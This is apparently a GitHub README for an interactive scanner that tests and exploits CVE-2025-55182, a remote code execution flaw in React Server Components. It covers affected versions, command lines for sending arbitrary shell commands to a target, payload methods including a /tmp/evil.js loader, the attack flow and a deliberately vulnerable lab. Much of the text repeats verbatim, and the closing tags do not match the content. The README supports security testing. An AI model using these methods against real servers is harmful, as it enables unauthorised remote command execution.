theman001/CVE-2025-55182
GitHub: theman001/CVE-2025-55182
针对 CVE-2025-55182 React Server Components 远程代码执行漏洞的交互式验证扫描器,附带漏洞复现实验环境。
Stars: 2 | Forks: 0
# CVE-2025-55182 (React2Shell)
CVE-2025-55182 React RCE 测试程序
## 🔒 CVE-2025-55182 交互式 RCE 扫描器
该脚本是针对 `CVE-2025-55182` 的**漏洞验证工具**,该漏洞是存在于 **React 19.x 的 React Server Components (RSC)** 中的**严重远程代码执行 (RCE) 漏洞**。
本工具用于判断真实服务器是否存在该漏洞,并可根据选项选择**执行命令**、**记录日志**,或使用**两阶段 RCE 方式 (module#_load)** 进行测试。
## 📋 React2Shell (CVE-2025-55182) 漏洞摘要
| 项目 | 内容 |
|----------------|------|
| **漏洞编号** | CVE-2025-55182 (React) / CVE-2025-66478 (Next.js) |
| **漏洞名称** | React2Shell |
| **漏洞类型** | 远程代码执行 (RCE) – 无需认证 |
| **严重程度 (CVSS)** | 10.0 (致命) |
| **发现日期** | 2025-11-29 (Lachlan Davidson) |
| **攻击难度** | 极低 (Log4Shell 级别) |
| **漏洞描述** | 在 Flight 反序列化处理期间,可通过 `requireModule()` 函数的方括号表示法访问原型链 (`constructor`, `__proto__`) 的结构性 RCE 漏洞 |
## 🧱 受影响的产品及版本
| 产品/工具 | 受影响版本 | 已修复版本 |
|-----------|-----------|-------------|
| **React.js** | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1, 19.1.2, 19.2.1 |
| **react-server-dom-webpack** | 同上 (↑) | 同上 |
| **react-server-dom-parcel** | 同上 (↑) | 同上 |
| **react-server-dom-turbopack** | 同上 (↑) | 同上 |
| **Next.js 14** | 14.3.0.canary.77 及以上的部分版本 | (非官方)建议升级至 15.0.5 及以上版本 |
| **Next.js 15** | 15.0.0 ~ 15.5.6 | 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 15.6.0 |
| **Next.js 16** | 16.0.0 ~ 16.0.6 | 16.0.7 |
| **其他工具** | React Router RSC, RedwoodJS, Vite RSC Plugin, Parcel RSC Plugin 等 | 需修补相关项目的 RSC 依赖 |
### 📚 目录
- [🗂️ 目录结构](#️-디렉토리-구조)
- [🧩 主要功能](#-주요-기능)
- [📦 安装说明](#-설치-방법)
- [🚀 运行示例](#-실행-예시)
- [💬 交互式命令输入示例](#-인터랙티브-명령어-입력-예시)
- [⚠️ 安全注意事项](#️-보안-주의사항)
- [📚 技术参考](#-기술-참고)
- [📄 许可证及使用条款](#-라이선스-및-사용-조건)
## 🗂️ 目录结构
```
CVE-2025-55182/
├── README.md # 전체 개요 및 스캐너 사용법
├── DETECTION_RULES.md # 탐지/차단용 규칙 모음
├── 설명 및 탐지규칙.md # 한글 탐지 규칙 설명
├── cve_2025_55182_interactive.py # RCE 검증 스캐너 스크립트
├── requirements.txt # 스캐너 의존성 목록
├── setup_vulnerable_env.sh # 취약 환경 일괄 설치 스크립트
├── uninstall_vulnerable_env.sh # 취약 환경 정리/제거 스크립트
└── vulnerable-react-env/ # React2Shell 취약 서버 실습용 코드
├── README.md # 실습 환경 사용법
├── package.json # npm 스크립트 및 의존성
├── server.js # 취약한 Express 백엔드
├── public/
│ └── index.html # CDN 기반 React 프런트엔드
└── .gitignore
```
## 🧩 主要功能
✅ 以交互方式测试受漏洞影响的服务器是否可被 RCE
✅ 支持 `child_process#execSync` (默认) 或 `module#_load` 方式
✅ 将命令执行结果保存到日志文件
✅ 将用户直接输入的系统命令发送到服务器 ## 📦 安装说明 ``` git clone
cd
pip install -r requirements.txt
```
## 🚀 运行示例
1. 基本 RCE 测试 (`execSync` 方式)
- 使用 `child_process.execSync()` 执行命令
- `python cve_2025_55182_interactive.py http://localhost:3000 --rce`
2. 两阶段 RCE 测试 (`module#_load` 方式)
- 生成恶意 JS 文件并通过 `module#_load` 执行
- `python cve_2025_55182_interactive.py http://localhost:3000 --rce --method moduleLoad`
3. 基于 RSC 的 RCE 测试 (`--rce2` 选项)
- 通过 Next.js 的服务器组件处理路径执行 payload
- `python cve_2025_55182_interactive.py http://localhost:3000 --rce2`
4. 命令执行结果日志保存
- 将所有命令结果保存到指定的日志文件中
- `python cve_2025_55182_interactive.py http://localhost:3000 --rce --log rce_output.log`
5. 启用全部功能 (方式 + 日志)
- 同时使用 `moduleLoad` 方式和日志保存
- `python cve_2025_55182_interactive.py http://localhost:3000 --rce --method moduleLoad --log rce_output.log`
6. 调试输出 payload
- 在发送到服务器前将 payload 输出到控制台
- `python cve_2025_55182_interactive.py http://localhost:3000 --rce --debug`
## 🚧 存在漏洞的 React 服务器实验环境 (OCI/Ubuntu)
`vulnerable-react-env` 文件夹包含了一个**故意设计存在漏洞的 React + Express 服务器**,用于复现 CVE-2025-55182。
1. 快速一键设置 (推荐)
- 运行 `./setup_vulnerable_env.sh` 将一次性完成 **apt 包安装 → nvm/Node.js 20 安装 → npm install**。
- 完成后,使用 `cd vulnerable-react-env && npm start` 或 `npm run dev` 启动服务器。
- ⚠️ 如果只输入 `npm run`,将只会输出脚本列表。请务必指定脚本名称,如 `npm start` (或 `npm run start`)。
- 要清理环境,可以使用 `./uninstall_vulnerable_env.sh` 移除 node_modules、moduleLoad payload 以及 (可选) Node 20 和 nvm。
- ❗️ 如果出现 `ERR_MODULE_NOT_FOUND: Cannot find package 'express'` 等依赖错误,请通过 `cd vulnerable-react-env && npm install` 安装 node_modules,然后再次运行 `npm start`。
2. 手动设置 (备选)
- `sudo apt update && sudo apt install -y curl build-essential`
- `curl -fsSL https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.7/install.sh -o /tmp/install_nvm.sh && bash /tmp/install_nvm.sh`
- `nvm install 20 && nvm use 20`
- `cd vulnerable-react-env && npm install`
- `npm start` (默认端口: 3000)
3. 漏洞体验
- 在浏览器中访问 `http://localhost:3000`,并通过表单发送 `_payload` 和 `cmd`
- 或者使用 `vulnerable-react-env/README.md` 中的 curl 示例复现 RCE 流程 ## 💬 交互式命令输入示例 💬 输入系统命令: whoami
✅ 响应码: 200
📄 响应内容: {"success":true,"result":"www-data"} 💬 输入系统命令: id
✅ 响应码: 200
📄 响应内容: {"success":true,"result":"uid=1000(hacker) gid=1000(hacker)"} 💬 输入系统命令: exit
👋 正在退出。 ## ⚠️ 安全注意事项 ❌ 请勿在生产环境中使用。
✅ 本脚本仅限在本地测试环境或隔离的 VM 中使用。
🛠️ --method moduleLoad 方式会在 /tmp/evil.js 创建实际文件。
🧾 如果使用 --log 选项,输出结果将以明文形式保存,请限制对该文件的访问。
🔐 所有请求都会验证受漏洞影响的服务器是否实际执行了 JavaScript 代码。 ## 📚 技术参考 - 官方 CVE: CVE-2025-55182 - Exploit 方式: 1. child_process#execSync 2. vm#runInThisContext 3. fs#writeFileSync 4. module#_load - 攻击流程: 1. 向 /formaction endpoint 发送特殊的 multipart/form-data 2. 服务器调用 requireModule() 3. 通过原型链或绑定的函数执行触发 RCE ### 📄 许可证及使用条款 本项目仅用于安全研究、审计和测试目的,
未经授权用于真实系统是非法的。 因使用本工具而产生的所有法律责任均由用户本人承担。
✅ 支持 `child_process#execSync` (默认) 或 `module#_load` 方式
✅ 将命令执行结果保存到日志文件
✅ 将用户直接输入的系统命令发送到服务器 ## 📦 安装说明 ``` git clone
- 运行 `./setup_vulnerable_env.sh` 将一次性完成 **apt 包安装 → nvm/Node.js 20 安装 → npm install**。
- 完成后,使用 `cd vulnerable-react-env && npm start` 或 `npm run dev` 启动服务器。
- ⚠️ 如果只输入 `npm run`,将只会输出脚本列表。请务必指定脚本名称,如 `npm start` (或 `npm run start`)。
- 要清理环境,可以使用 `./uninstall_vulnerable_env.sh` 移除 node_modules、moduleLoad payload 以及 (可选) Node 20 和 nvm。
- ❗️ 如果出现 `ERR_MODULE_NOT_FOUND: Cannot find package 'express'` 等依赖错误,请通过 `cd vulnerable-react-env && npm install` 安装 node_modules,然后再次运行 `npm start`。
2. 手动设置 (备选)
- `sudo apt update && sudo apt install -y curl build-essential`
- `curl -fsSL https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.7/install.sh -o /tmp/install_nvm.sh && bash /tmp/install_nvm.sh`
- `nvm install 20 && nvm use 20`
- `cd vulnerable-react-env && npm install`
- `npm start` (默认端口: 3000)
3. 漏洞体验
- 在浏览器中访问 `http://localhost:3000`,并通过表单发送 `_payload` 和 `cmd`
- 或者使用 `vulnerable-react-env/README.md` 中的 curl 示例复现 RCE 流程 ## 💬 交互式命令输入示例 💬 输入系统命令: whoami
✅ 响应码: 200
📄 响应内容: {"success":true,"result":"www-data"} 💬 输入系统命令: id
✅ 响应码: 200
📄 响应内容: {"success":true,"result":"uid=1000(hacker) gid=1000(hacker)"} 💬 输入系统命令: exit
👋 正在退出。 ## ⚠️ 安全注意事项 ❌ 请勿在生产环境中使用。
✅ 本脚本仅限在本地测试环境或隔离的 VM 中使用。
🛠️ --method moduleLoad 方式会在 /tmp/evil.js 创建实际文件。
🧾 如果使用 --log 选项,输出结果将以明文形式保存,请限制对该文件的访问。
🔐 所有请求都会验证受漏洞影响的服务器是否实际执行了 JavaScript 代码。 ## 📚 技术参考 - 官方 CVE: CVE-2025-55182 - Exploit 方式: 1. child_process#execSync 2. vm#runInThisContext 3. fs#writeFileSync 4. module#_load - 攻击流程: 1. 向 /formaction endpoint 发送特殊的 multipart/form-data 2. 服务器调用 requireModule() 3. 通过原型链或绑定的函数执行触发 RCE ### 📄 许可证及使用条款 本项目仅用于安全研究、审计和测试目的,
未经授权用于真实系统是非法的。 因使用本工具而产生的所有法律责任均由用户本人承担。
标签:Cutter, Go语言工具, Maven, MITM代理, 漏洞验证, 编程工具, 远程代码执行, 逆向工具